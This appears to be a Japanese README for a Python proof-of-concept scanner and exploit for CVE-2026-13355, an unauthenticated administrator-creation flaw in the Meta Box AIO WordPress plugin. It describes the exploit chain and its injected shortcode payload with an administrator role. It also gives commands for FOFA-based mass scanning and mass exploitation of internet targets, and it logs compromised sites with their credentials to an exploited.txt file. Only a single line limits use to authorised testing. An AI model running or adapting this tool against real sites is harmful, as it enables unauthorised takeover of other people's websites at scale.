
CVE-2026-13355(Meta Box AIO WordPressプラグインにおける未認証の管理者権限昇格)に対応したPython製PoCスキャナおよびエクスプロイト。FOFAによる大量スキャン機能付き。
WordPressバンドル Meta Box AIO(および関連する MB Frontend Submission / MB User Profile 拡張機能)における CVE-2026-13355 のPython 3による概念実証 スキャナーおよびエクスプロイト。
| プラットフォーム | WordPressプラグイン |
| コンポーネント | Meta Box AIO |
| 影響を受けるバージョン | Meta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0 |
| 修正バージョン | Meta Box AIO 3.12.0+(Form::process() の認可) |
| CVSS | 9.8 Critical |
| 認証 | 未認証 |
| CWE | CWE-269 — 不適切な権限管理 |
| 研究者 | h0xilo (Wordfence) |
2つのバンドル拡張機能における連鎖的な脆弱性により、未認証での 管理者 アカウント作成が可能になります:
mbfs) — rwmb_frontend_field_object_id が認証なしでフォームのターゲットを上書きします;Form::process() は user_can_edit() を省略しているため、攻撃者は wp_update_post() を実行し、任意の投稿/ページの post_content を上書きできます。mbup) — 注入された [mb_user_profile_register role="administrator" auto_login="true"] ショートコード属性が、ロール検証なしで信頼されます。重要: エクスプロイトチェーンには公開された mbfs(フロントエンド送信)フォームが必要であり、ログイン専用の mbup フォームでは動作しません。多くのFOFAヒットは mbup のログイン/登録UIのみを公開しており、これらは plugin_mbup_only としてフラグが立てられ、このチェーンでは悪用できません。
pip install -r requirements.txtpip install -r requirements.txt
# Single target — check (live terminal flow by default)
python poc.py -u https://target.example --mode check
# Mass check (one line per target unless --quiet)
python poc.py --list targets.example.txt --mode check --threads 20
# Single target — exploit (needs mbfs form URL + post ID)
python poc.py -u https://target.example --mode exploit \
--form-url /contact/ --object-id 12 --verify
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify
クエリ例:
body="/wp-content/plugins/meta-box-aio/"
FOFA CSVエクスポートを正規化:
python fofa_to_list.py -i fofa_export.csv
# writes list.txt + normalized CSV (local only, gitignored)
python poc.py --list list.txt --mode check --threads 20
エクスプロイト実行時には --vuln-list exploited.txt を使用して、hits.txt 内のチェックヒットが上書きされないようにしてください。
status 値mbfs フォームを通じて ?rwmb_frontend_field_object_id=<id> を付けて post_content をPOSTします。mbfs フォームには実際の post_content フィールドがないことが多く、実際には上書きが失敗する可能性があります。.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
ローカルスキャンリストと実行アーティファクト(list.txt、fofa*.csv、*.jsonl、hits*.txt など)は .gitignore に含まれており、コミットしないでください。
許可されたセキュリティテストおよび教育 のみを目的としています。適用される法律およびプログラム規則の遵守はあなたの責任です。
| オプション | 説明 |
|---|
-u, --url | 単一のベースURL |
--list | URLリスト、FOFA正規化CSV(url 列)、または candidates.jsonl |
--mode | check または exploit |
--form-url | [mb_frontend_form ...] / mbfs-form を含むページ |
--object-id | rwmb_frontend_field_object_id 用の投稿/ページID |
--paths | フロントエンドフォームをクロールする追加パス |
--username, --email, --password | 登録資格情報(エクスプロイト) |
--shortcode | 注入する post_content ペイロード(デフォルトは管理者登録ショートコード) |
--verify | 登録後に /wp-admin/ または wp-login.php で確認 |
--flow | 一括実行時にターゲットごとに1行をストリーム出力(--list 指定時のデフォルト) |
--no-flow | 進捗サマリーのみ |
--quiet, -q | 最小限のコンソール出力 |
--threads, -j | 一括同時実行数(デフォルト15) |
--output | JSONLログ(デフォルト cve_2026_13355_results.jsonl) |
--vuln-list | テキストヒット / 悪用済み行(デフォルト hits.txt / エクスプロイト時は exploited.txt を使用) |
--candidates-list | チェックメタデータJSONL(デフォルト candidates.jsonl) |
| ファイル | モード | 内容 |
|---|
cve_2026_13355_results.jsonl | 両方 | ターゲットごとの完全なJSON |
hits.txt | check | candidate_mbfs のURL |
candidates.jsonl | check | form_url、object_id、バージョンヒント |
exploited.txt | exploit | url|user|email|pass|oid=… |
| ステータス | 意味 |
|---|
candidate_mbfs | プラグインが存在し、MB Frontend Submission フォームが発見された(悪用可能な可能性あり) |
plugin_mbup_only | User Profileのログイン/登録フォームのみ — このCVEチェーンでは ない |
plugin_no_frontend_forms | プラグインのフィンガープリントはあるが、rwmbフロントエンドフォームが発見されなかった |
patched | 影響を受ける範囲を超えるバージョン(読み取り可能な場合) |
no_plugin | Meta Box AIO / 拡張機能が検出されなかった |